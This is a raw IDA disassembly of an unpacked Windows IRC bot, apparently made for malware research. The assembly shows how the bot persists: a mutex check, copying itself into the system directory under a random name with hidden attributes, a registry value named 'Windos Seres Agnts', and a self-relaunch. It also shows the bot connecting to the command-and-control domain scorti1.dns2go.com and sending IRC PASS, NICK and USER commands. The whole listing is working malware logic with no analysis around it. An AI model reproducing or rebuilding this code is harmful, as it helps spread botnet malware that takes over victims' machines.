;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : E8D2BBA91744BC7F3E55DA154F9F4757
; File Name : u:\work\e8d2bba91744bc7f3e55da154f9f4757_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 00025B34 ( 154420.)
; Section size in file : 00025B34 ( 154420.)
; Offset to raw data for section: 00001000
; Flags 60000020: Text Executable Readable
; Alignment : default
; OS type : MS Windows
; Application type: Executable 32bit
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 401000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_401000(char *Str)
sub_401000 proc near ; CODE XREF: WinMain(x,x,x,x)+358p
; sub_4188A6+1Ep
var_4 = dword ptr -4
Str = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, offset dword_429050
xor esi, esi
mov ebx, offset aWindosSeresAgn ; "Windos Seres Agnts"
loc_401013: ; CODE XREF: sub_401000+69j
lea eax, [ebp+var_4]
push esi
push eax
push esi
push 0F003Fh
push esi
push esi
push esi
push dword ptr [edi+4]
push dword ptr [edi]
call dword_4CB988 ; RegCreateKeyExA
cmp [ebp+Str], esi
jz short loc_40104D
push [ebp+Str] ; Str
call _strlen
pop ecx
push eax
push [ebp+Str]
push 1
push esi
push ebx
push [ebp+var_4]
call dword_4CB9F8 ; RegSetValueExA
jmp short loc_401057
; ---------------------------------------------------------------------------
loc_40104D: ; CODE XREF: sub_401000+2Fj
push ebx
push [ebp+var_4]
call dword_4CB938 ; RegDeleteValueA
loc_401057: ; CODE XREF: sub_401000+4Bj
push [ebp+var_4]
call dword_4CB9B0 ; RegCloseKey
add edi, 8
cmp edi, offset aRb ; "rb"
jb short loc_401013
pop edi
pop esi
pop ebx
leave
retn
sub_401000 endp
; =============== S U B R O U T I N E =======================================
sub_401070 proc near ; CODE XREF: sub_4010AB+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push esi
or esi, 0FFFFFFFFh
test eax, eax
jz short loc_4010A5
push ebx
push edi
lea edi, [eax]
mov ecx, 0FFh
loc_401089: ; CODE XREF: sub_401070+31j
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, ds:dword_427220[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_401089
pop edi
pop ebx
loc_4010A5: ; CODE XREF: sub_401070+Ej
mov eax, esi
pop esi
not eax
retn
sub_401070 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_4010AB(char *Filename)
sub_4010AB proc near ; CODE XREF: sub_4167A0+24Ap
var_10 = dword ptr -10h
Filename = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx ; Mode
call _malloc
mov [esp+10h+var_10], offset aRb ; "rb"
push [esp+10h+Filename] ; Filename
mov esi, eax
call _fopen
mov edi, eax
pop ecx
test edi, edi
pop ecx
jz short loc_4010FA
loc_4010D0: ; CODE XREF: sub_4010AB+4Dj
test byte ptr [edi+0Ch], 10h
jnz short loc_4010FE
inc ebx
push ebx ; Size
push esi ; Src
call sub_41BBE2
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4010FA
push edi ; File
push 1 ; Count
lea eax, [esi+ebx-1]
push 1 ; ElementSize
push eax ; DstBuf
call _fread
add esp, 10h
jmp short loc_4010D0
; ---------------------------------------------------------------------------
loc_4010FA: ; CODE XREF: sub_4010AB+23j
; sub_4010AB+39j
xor eax, eax
jmp short loc_401119
; ---------------------------------------------------------------------------
loc_4010FE: ; CODE XREF: sub_4010AB+29j
dec ebx
push ebx
push esi
call sub_401070
push esi
mov ebx, eax
call sub_41BA91
push edi ; File
call _fclose
add esp, 10h
mov eax, ebx
loc_401119: ; CODE XREF: sub_4010AB+51j
pop edi
pop esi
pop ebx
retn
sub_4010AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40111D proc near ; DATA XREF: WinMain(x,x,x,x)+14o
var_268 = dword ptr -268h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
Dst = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push dword_43E91C
call dword_4CBA6C ; closesocket
call sub_40B583
call dword_4CB92C ; WSACleanup
call dword_4CB92C ; WSACleanup
mov ebx, ds:dword_427080
push 64h
call ebx ; Sleep
xor edi, edi
push 10h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
push 44h
lea eax, [ebp+var_54]
pop esi
push esi ; Size
push edi ; Val
push eax ; Dst
call _memset
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset byte_43DB88
mov [ebp+var_28], 1
mov [ebp+var_24], di
call ds:dword_42707C ; GetSystemDirectoryA
lea eax, [ebp+var_158]
push esi
push eax
push edi
call ds:dword_427078 ; GetModuleFileNameA
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
call ds:dword_427074 ; CreateProcessA
test eax, eax
jz short loc_4011E2
push 64h
call ebx ; Sleep
push [ebp+Dst]
mov esi, ds:dword_427070
call esi ; CloseHandle
push [ebp+var_C]
call esi ; CloseHandle
loc_4011E2: ; CODE XREF: sub_40111D+AFj
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_43DB80
mov eax, [esp+268h+var_268]
mov large fs:0, eax
add esp, 8
push edi
call ds:dword_42706C ; ExitProcess
pop edi
pop esi
pop ebx
loc_401205: ; DATA XREF: .data:00429004o
jmp $+5
push 0FFFFh
push 539h
call sub_418BD1
pop ecx
mov dword_4CB710, eax
pop ecx
retn
sub_40111D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
_WinMain@16 proc near ; CODE XREF: start+C9p
var_988 = byte ptr -988h
var_884 = byte ptr -884h
var_883 = byte ptr -883h
Filename = byte ptr -6F4h
Str = byte ptr -5F4h
Ext = byte ptr -4F0h
SubStr = byte ptr -3F0h
FullPath = byte ptr -2ECh
Dest = byte ptr -1E8h
var_E4 = dword ptr -0E4h
var_D8 = dword ptr -0D8h
var_B8 = dword ptr -0B8h
var_B4 = word ptr -0B4h
Source = byte ptr -0A0h
Dst = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
hInstance = dword ptr 8
hPrevInstance = dword ptr 0Ch
lpCmdLine = dword ptr 10h
nShowCmd = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 988h
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp+var_8], ebx
mov [ebp+var_C], ebx
mov [ebp+var_4], offset sub_40111D
push [ebp+var_4]
push large dword ptr fs:0
mov large fs:0, esp
mov esi, ds:dword_4270B0
call esi ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_4CB714, eax
call esi ; GetTickCount
push eax
call sub_41C2B8
pop ecx
call sub_409909
push 2
call dword_4CBA80 ; SetErrorMode
push 7530h
push offset aSbrti ; "sbrti"
push ebx
push ebx
call ds:dword_4270AC ; CreateMutexA
push eax
call ds:dword_4270A8 ; WaitForSingleObject
cmp eax, 102h
jnz short loc_4012A1
push 1
call ds:dword_42706C ; ExitProcess
loc_4012A1: ; CODE XREF: WinMain(x,x,x,x)+76j
lea eax, [ebp+var_884]
push eax
push 202h
call dword_4CB944 ; WSAStartup
cmp eax, ebx
jnz loc_4017E4
cmp [ebp+var_884], 2
jnz loc_4017DE
xor eax, eax
mov al, [ebp+var_883]
cmp al, 2
jnz loc_4017DE
mov esi, 104h
lea eax, [ebp+SubStr]
push esi
push eax
call ds:dword_42707C ; GetSystemDirectoryA
lea eax, [ebp+FullPath]
push esi
push eax
push ebx
call ds:dword_4270A4 ; GetModuleHandleA
push eax
call ds:dword_427078 ; GetModuleFileNameA
lea eax, [ebp+Ext]
push eax ; Ext
lea eax, [ebp+Filename]
push eax ; Filename
push ebx ; Dir
lea eax, [ebp+FullPath]
push ebx ; Drive
push eax ; FullPath
call __splitpath
add esp, 14h
lea eax, [ebp+Ext]
push eax
lea eax, [ebp+Filename]
push eax
push offset aSS ; "%s%s"
lea eax, [ebp+Str]
push esi ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+SubStr]
push eax ; SubStr
lea eax, [ebp+FullPath]
push eax ; Str
call _strstr
add esp, 1Ch
test eax, eax
jnz loc_401516
cmp dword_42908C, ebx
mov esi, offset Str ; "fgezpzzi.exe"
jz short loc_40139C
push esi ; Str
xor edi, edi
call _strlen
sub eax, 4
pop ecx
jz short loc_40139C
loc_401379: ; CODE XREF: WinMain(x,x,x,x)+179j
call _rand
push 1Ah
cdq
pop ecx
idiv ecx
push esi ; Str
add dl, 61h
mov byte ptr Str[edi], dl ; "fgezpzzi.exe"
inc edi
call _strlen
sub eax, 4
pop ecx
cmp edi, eax
jb short loc_401379
loc_40139C: ; CODE XREF: WinMain(x,x,x,x)+148j
; WinMain(x,x,x,x)+156j
lea eax, [ebp+SubStr]
push esi
push eax
lea eax, [ebp+Dest]
push offset Format ; "%s\\%s"
push eax ; Dest
call _sprintf
add esp, 10h
lea eax, [ebp+Dest]
push eax
call ds:dword_4270A0 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_4013DC
lea eax, [ebp+Dest]
push 80h
push eax
call ds:dword_42709C ; SetFileAttributesA
loc_4013DC: ; CODE XREF: WinMain(x,x,x,x)+1A7j
mov esi, ds:dword_427098
lea eax, [ebp+Dest]
push ebx
push eax
lea eax, [ebp+FullPath]
xor edi, edi
push eax
loc_4013F3: ; CODE XREF: WinMain(x,x,x,x)+209j
call esi ; CopyFileA
test eax, eax
jnz short loc_40142C
call ds:dword_427094 ; RtlGetLastWin32Error
cmp edi, ebx
jnz short loc_40142C
cmp eax, 20h
jz short loc_40140D
cmp eax, 5
jnz short loc_40142C
loc_40140D: ; CODE XREF: WinMain(x,x,x,x)+1E5j
push 1
pop edi
push 3A98h
call ds:dword_427080 ; Sleep
lea eax, [ebp+Dest]
push ebx
push eax
lea eax, [ebp+FullPath]
push eax
jmp short loc_4013F3
; ---------------------------------------------------------------------------
loc_40142C: ; CODE XREF: WinMain(x,x,x,x)+1D6j
; WinMain(x,x,x,x)+1E0j ...
lea eax, [ebp+Dest]
push eax
call sub_4187E0
pop ecx
lea eax, [ebp+Dest]
push 7
push eax
call ds:dword_42709C ; SetFileAttributesA
push 10h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
push 44h
lea eax, [ebp+var_E4]
pop esi
push esi ; Size
push ebx ; Val
push eax ; Dst
call _memset
add esp, 18h
mov [ebp+var_E4], esi
mov [ebp+var_D8], offset byte_43DB88
mov [ebp+var_B4], bx
push 1
pop esi
mov [ebp+var_B8], esi
call ds:dword_427090 ; GetCurrentProcessId
push eax
push esi
push 100000h
loc_401495: ; DATA XREF: .data:off_433094o
call ds:dword_42708C ; OpenProcess
lea ecx, [ebp+FullPath]
push ecx
push eax
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+var_988]
push offset aSDS ; "%s %d \"%s\""
push eax ; Dest
call _sprintf
add esp, 14h
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+var_E4]
push eax
lea eax, [ebp+SubStr]
push eax
push ebx
push 28h
push esi
push ebx
lea eax, [ebp+var_988]
push ebx
push eax
lea eax, [ebp+Dest]
push eax
call ds:dword_427074 ; CreateProcessA
test eax, eax
jz short loc_401516
push 0C8h
call ds:dword_427080 ; Sleep
push [ebp+Dst]
mov esi, ds:dword_427070
call esi ; CloseHandle
push [ebp+var_1C]
call esi ; CloseHandle
call dword_4CB92C ; WSACleanup
push ebx
call ds:dword_42706C ; ExitProcess
loc_401516: ; CODE XREF: WinMain(x,x,x,x)+137j
; WinMain(x,x,x,x)+2CBj
cmp dword_4DBDF8, 2
jle short loc_401562
mov eax, dword_4DBDFC
push dword ptr [eax+4] ; Str
call _atoi
pop ecx
mov esi, eax
push 0FFFFFFFFh
push esi
call ds:dword_4270A8 ; WaitForSingleObject
push esi
call ds:dword_427070 ; CloseHandle
mov eax, dword_4DBDFC
cmp [eax+8], ebx
jz short loc_401562
push 7D0h
call ds:dword_427080 ; Sleep
mov eax, dword_4DBDFC
push dword ptr [eax+8]
call ds:dword_427088 ; DeleteFileA
loc_401562: ; CODE XREF: WinMain(x,x,x,x)+2FCj
; WinMain(x,x,x,x)+326j
cmp dword_429090, ebx
jz short loc_40157F
cmp dword_4CBAA4, ebx
jnz short loc_40157F
lea eax, [ebp+Str]
push eax ; Str
call sub_401000
pop ecx
loc_40157F: ; CODE XREF: WinMain(x,x,x,x)+347j
; WinMain(x,x,x,x)+34Fj
lea eax, [ebp+Source]
push offset asc_429A98 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push ebx ; int
push eax ; Source
call sub_40B3BA
lea eax, [ebp+Source]
push eax
call sub_415D38
push 0B80h ; Size
push ebx ; Val
push offset dword_43DB90 ; Dst
call _memset
add esp, 24h
lea eax, [ebp+Source]
push offset asc_429A74 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push 1 ; int
push eax ; Source
call sub_40B3BA
add esp, 14h
mov esi, eax
mov edi, ds:dword_427084
lea eax, [ebp+var_8]
push eax
push ebx
push ebx
push offset sub_419F4D
push ebx
push ebx
call edi ; CreateThread
imul esi, 234h
cmp eax, ebx
mov dword_43E924[esi], eax
jnz short loc_401622
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset asc_429A34 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_401622: ; CODE XREF: WinMain(x,x,x,x)+3E4j
lea eax, [ebp+Source]
push eax
call sub_415D38
push 2
call sub_40B602
pop ecx
test eax, eax
pop ecx
jnz short loc_4016A7
lea eax, [ebp+Source]
push offset asc_429A08 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push 2 ; int
push eax ; Source
call sub_40B3BA
add esp, 14h
mov esi, eax
lea eax, [ebp+var_8]
push eax
push ebx
push esi
push offset sub_410BFD
push ebx
push ebx
call edi ; CreateThread
imul esi, 234h
cmp eax, ebx
mov dword_43E924[esi], eax
jnz short loc_40169A
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset asc_4299D4 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_40169A: ; CODE XREF: WinMain(x,x,x,x)+45Cj
lea eax, [ebp+Source]
push eax
call sub_415D38
pop ecx
loc_4016A7: ; CODE XREF: WinMain(x,x,x,x)+418j
call _rand
push 7Fh ; Count
and eax, 3
push offset Source ; "scorti1.dns2go.com"
push offset Dest ; Dest
mov dword_4CB888, eax
call _strncpy
mov eax, dword_42906C
push 3Fh ; Count
mov edi, offset byte_4CB79C
push offset aFaak ; "#FAAK#"
push edi ; Dest
mov dword_4CB86C, eax
call _strncpy
push 3Fh ; Count
mov esi, offset byte_4CB7DC
push offset aSaad_ ; "saad."
push esi ; Dest
call _strncpy
add esp, 24h
mov dword_4CB870, ebx
loc_4016FC: ; CODE XREF: WinMain(x,x,x,x)+563j
; WinMain(x,x,x,x)+56Ej ...
mov [ebp+var_4], ebx
loc_4016FF: ; CODE XREF: WinMain(x,x,x,x)+517j
push offset dword_4CB718
mov dword_4CB884, ebx
call sub_4017ED
cmp eax, 2
mov [ebp+var_10], eax
jz loc_4017D9
cmp dword_4CB884, ebx
jz short loc_401726
dec [ebp+var_4]
loc_401726: ; CODE XREF: WinMain(x,x,x,x)+500j
push 0BB8h
call ds:dword_427080 ; Sleep
inc [ebp+var_4]
cmp [ebp+var_4], 6
jl short loc_4016FF
cmp [ebp+var_10], 2
jz loc_4017D9
cmp [ebp+var_C], ebx
jz short loc_401789
push 7Fh ; Count
push offset Source ; "scorti1.dns2go.com"
push offset Dest ; Dest
call _strncpy
mov eax, dword_42906C
push 3Fh ; Count
push offset aFaak ; "#FAAK#"
push edi ; Dest
mov dword_4CB86C, eax
call _strncpy
push 3Fh ; Count
push offset aSaad_ ; "saad."
push esi ; Dest
call _strncpy
add esp, 24h
mov [ebp+var_C], ebx
jmp loc_4016FC
; ---------------------------------------------------------------------------
loc_401789: ; CODE XREF: WinMain(x,x,x,x)+526j
cmp byte_4290E4, bl
jz loc_4016FC
push 7Fh ; Count
push offset byte_4290E4 ; Source
push offset Dest ; Dest
call _strncpy
mov eax, dword_429070
push 3Fh ; Count
push offset aFaak_0 ; "#FAAK#"
push edi ; Dest
mov dword_4CB86C, eax
call _strncpy
push 3Fh ; Count
push offset aSaad__0 ; "saad."
push esi ; Dest
call _strncpy
add esp, 24h
mov [ebp+var_C], 1
jmp loc_4016FC
; ---------------------------------------------------------------------------
loc_4017D9: ; CODE XREF: WinMain(x,x,x,x)+4F4j
; WinMain(x,x,x,x)+51Dj
call sub_40B583
loc_4017DE: ; CODE XREF: WinMain(x,x,x,x)+A1j
; WinMain(x,x,x,x)+B1j
call dword_4CB92C ; WSACleanup
loc_4017E4: ; CODE XREF: WinMain(x,x,x,x)+94j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
_WinMain@16 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4017ED proc near ; CODE XREF: WinMain(x,x,x,x)+4E9p
; DATA XREF: sub_401ACD+654Co
var_190 = dword ptr -190h
Args = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
Dest = byte ptr -2Ch
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_401812: ; CODE XREF: sub_4017ED+E6j
; sub_4017ED+136j ...
push 10h ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_3C]
call dword_4CB9D4 ; htons
mov [ebp+var_E], ax
lea eax, [ebp+Args]
push eax
call sub_40A8F0
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_40193F
push 1Ch ; Size
lea eax, [ebp+Dest]
push 0 ; Val
push eax ; Dst
call _memset
push 0 ; Str1
lea eax, [ebp+Dest]
push dword_4290A0 ; int
push dword_42909C ; int
push eax ; Dest
call sub_40AE84
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh ; Count
add eax, offset byte_43E928
push edi ; Source
push eax ; Dest
call _strncpy
add esp, 28h
push 6
push 1
push 2
call dword_4CBA54 ; socket
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov dword_43E91C[eax], esi
lea eax, [ebp+Dst]
push eax
push esi
call dword_4CB97C ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_4018D8
push esi
call dword_4CBA6C ; closesocket
call sub_40A919
push 7D0h
loc_4018CD: ; CODE XREF: sub_4017ED+146j
call ds:dword_427080 ; Sleep
jmp loc_401812
; ---------------------------------------------------------------------------
loc_4018D8: ; CODE XREF: sub_4017ED+CDj
lea eax, [ebp+Args]
push eax ; Args
push offset unk_429AD0 ; Format
call sub_415DAC
push [ebp+var_38]
lea eax, [ebp+Args]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_401955
add esp, 28h
mov edi, eax
push esi
call dword_4CBA6C ; closesocket
test edi, edi
jz loc_401812
cmp edi, 1
jnz short loc_401935
push 0DBBA0h
jmp short loc_4018CD
; ---------------------------------------------------------------------------
loc_401935: ; CODE XREF: sub_4017ED+13Fj
cmp edi, 2
jz short loc_401943
jmp loc_401812
; ---------------------------------------------------------------------------
loc_40193F: ; CODE XREF: sub_4017ED+5Aj
xor eax, eax
jmp short loc_40194F
; ---------------------------------------------------------------------------
loc_401943: ; CODE XREF: sub_4017ED+14Bj
push [ebp+var_34]
call sub_40B6D6
pop ecx
push 2
pop eax
loc_40194F: ; CODE XREF: sub_4017ED+154j
pop edi
pop esi
leave
retn 4
sub_4017ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401955 proc near ; CODE XREF: sub_4017ED+123p
Dst = byte ptr -1A90h
var_A90 = dword ptr -0A90h
var_2C0 = dword ptr -2C0h
var_140 = dword ptr -140h
Str = byte ptr -0A0h
Dest = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
Source = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1A90h
call __alloca_probe
push ebx
push esi
push edi
xor ebx, ebx
push 3
mov [ebp+var_8], ebx
lea eax, [ebp+var_2C0]
pop ecx
loc_401973: ; CODE XREF: sub_401955+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_401973
cmp byte_4CB880, bl
jz short loc_40199A
push offset byte_4CB880 ; Args
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0] ; int
call sub_409823
add esp, 0Ch
loc_40199A: ; CODE XREF: sub_401955+2Ej
push [ebp+Source]
lea eax, [ebp+Dest]
push ebx ; Str1
push ebx ; int
push 2 ; int
push eax ; Dest
call sub_40AE84
add esp, 10h
push eax
lea eax, [ebp+Str]
push [ebp+Source]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax ; Dest
call _sprintf
add esp, 14h
lea eax, [ebp+Str]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push [ebp+arg_0]
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_401A04
push [ebp+arg_0]
call dword_4CBA6C ; closesocket
push 1388h
call ds:dword_427080 ; Sleep
loc_4019FD: ; CODE XREF: sub_401955+D9j
; sub_401955+153j
xor eax, eax
loc_4019FF: ; CODE XREF: sub_401955+173j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401A04: ; CODE XREF: sub_401955+92j
; sub_401955+F8j ...
mov esi, 1000h
lea eax, [ebp+Dst]
push esi ; Size
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_4CB9EC ; recv
test eax, eax
jle short loc_4019FD
lea eax, [ebp+var_A90]
push eax ; int
lea eax, [ebp+Dst]
push eax ; Str
call sub_4184CC
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_401A04
lea edi, [ebp+var_A90]
loc_401A55: ; CODE XREF: sub_401955+165j
push 1
pop esi
loc_401A58: ; CODE XREF: sub_401955+144j
push [ebp+arg_1C] ; int
lea eax, [ebp+var_8]
push esi ; File
push eax ; int
lea eax, [ebp+var_140]
push eax ; int
lea eax, [ebp+var_2C0]
push eax ; int
push [ebp+arg_18] ; int
push [ebp+Source] ; Source
push [ebp+arg_8] ; int
push [ebp+arg_4] ; int
push [ebp+arg_0] ; int
push dword ptr [edi] ; Src
call sub_401ACD
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_401A9B
push 7D0h
call ds:dword_427080 ; Sleep
jmp short loc_401A58
; ---------------------------------------------------------------------------
loc_401A9B: ; CODE XREF: sub_401955+137j
cmp esi, 0FFFFFFFDh
jz short loc_401AC5
cmp esi, 0FFFFFFFEh
jz short loc_401AC1
cmp esi, 0FFFFFFFFh
jz loc_4019FD
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_401A55
jmp loc_401A04
; ---------------------------------------------------------------------------
loc_401AC1: ; CODE XREF: sub_401955+14Ej
push 1
jmp short loc_401AC7
; ---------------------------------------------------------------------------
loc_401AC5: ; CODE XREF: sub_401955+149j
push 2
loc_401AC7: ; CODE XREF: sub_401955+16Ej
pop eax
jmp loc_4019FF
sub_401955 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_401ACD(int Src,int,int,int,char *Source,int,int,int,int,FILE *File,int)
sub_401ACD proc near ; CODE XREF: sub_401955+12Ap
var_569C = dword ptr -569Ch
var_568C = byte ptr -568Ch
var_528C = byte ptr -528Ch
var_50FC = byte ptr -50FCh
var_4FF8 = byte ptr -4FF8h
var_4EF8 = byte ptr -4EF8h
var_4CF8 = byte ptr -4CF8h
var_4BF8 = byte ptr -4BF8h
var_4AF4 = byte ptr -4AF4h
FullPath = byte ptr -49F4h
var_48F0 = byte ptr -48F0h
Dest = byte ptr -47F0h
var_46F0 = byte ptr -46F0h
var_45F0 = dword ptr -45F0h
var_458C = byte ptr -458Ch
var_448C = byte ptr -448Ch
var_438C = byte ptr -438Ch
Str = byte ptr -428Ch
var_408C = byte ptr -408Ch
var_3F8C = dword ptr -3F8Ch
var_3F88 = byte ptr -3F88h
var_3F08 = byte ptr -3F08h
var_3E04 = byte ptr -3E04h
var_3D00 = dword ptr -3D00h
var_3CFC = dword ptr -3CFCh
var_3CF8 = dword ptr -3CF8h
var_3CF4 = dword ptr -3CF4h
var_3CF0 = dword ptr -3CF0h
var_3CEC = dword ptr -3CECh
var_3CE8 = byte ptr -3CE8h
var_3C68 = byte ptr -3C68h
var_3BE8 = byte ptr -3BE8h
var_3B68 = byte ptr -3B68h
var_3AE8 = byte ptr -3AE8h
var_3A68 = dword ptr -3A68h
var_3A64 = dword ptr -3A64h
var_3A60 = dword ptr -3A60h
var_3A5C = dword ptr -3A5Ch
var_3A58 = byte ptr -3A58h
var_37D1 = byte ptr -37D1h
var_37D0 = byte ptr -37D0h
var_36CC = dword ptr -36CCh
var_36C4 = dword ptr -36C4h
var_36C0 = dword ptr -36C0h
var_36BC = dword ptr -36BCh
var_36B8 = dword ptr -36B8h
var_36B0 = dword ptr -36B0h
var_36AC = dword ptr -36ACh
var_36A8 = byte ptr -36A8h
var_3628 = byte ptr -3628h
var_35A8 = byte ptr -35A8h
var_3528 = byte ptr -3528h
var_34A8 = dword ptr -34A8h
var_34A4 = dword ptr -34A4h
var_34A0 = dword ptr -34A0h
var_349C = dword ptr -349Ch
var_3498 = dword ptr -3498h
var_3494 = byte ptr -3494h
var_3414 = byte ptr -3414h
var_3394 = byte ptr -3394h
var_3314 = byte ptr -3314h
var_3294 = dword ptr -3294h
var_3290 = dword ptr -3290h
var_328C = dword ptr -328Ch
var_3288 = dword ptr -3288h
var_3284 = dword ptr -3284h
var_3280 = byte ptr -3280h
var_3200 = byte ptr -3200h
var_3180 = byte ptr -3180h
var_3100 = byte ptr -3100h
var_3080 = dword ptr -3080h
var_307C = dword ptr -307Ch
var_3078 = dword ptr -3078h
var_3074 = dword ptr -3074h
var_3070 = dword ptr -3070h
var_306C = byte ptr -306Ch
var_2FEC = byte ptr -2FECh
var_2F6C = byte ptr -2F6Ch
var_2EEC = byte ptr -2EECh
var_2E6C = dword ptr -2E6Ch
var_2E68 = dword ptr -2E68h
var_2E64 = dword ptr -2E64h
var_2E60 = dword ptr -2E60h
Filename = byte ptr -2E5Ch
var_2D58 = dword ptr -2D58h
var_2D54 = byte ptr -2D54h
var_2C50 = byte ptr -2C50h
var_2B4C = dword ptr -2B4Ch
var_2B48 = dword ptr -2B48h
var_2B44 = dword ptr -2B44h
var_2B40 = byte ptr -2B40h
var_2AC0 = dword ptr -2AC0h
var_2ABC = dword ptr -2ABCh
var_2AB8 = dword ptr -2AB8h
var_2AB4 = dword ptr -2AB4h
var_2AAC = byte ptr -2AACh
var_2994 = byte ptr -2994h
var_2914 = dword ptr -2914h
var_2910 = dword ptr -2910h
var_290C = dword ptr -290Ch
var_2908 = dword ptr -2908h
var_2904 = dword ptr -2904h
var_2900 = dword ptr -2900h
var_28FC = byte ptr -28FCh
var_287C = byte ptr -287Ch
var_277C = byte ptr -277Ch
var_267C = dword ptr -267Ch
var_2678 = dword ptr -2678h
var_2674 = dword ptr -2674h
var_2670 = dword ptr -2670h
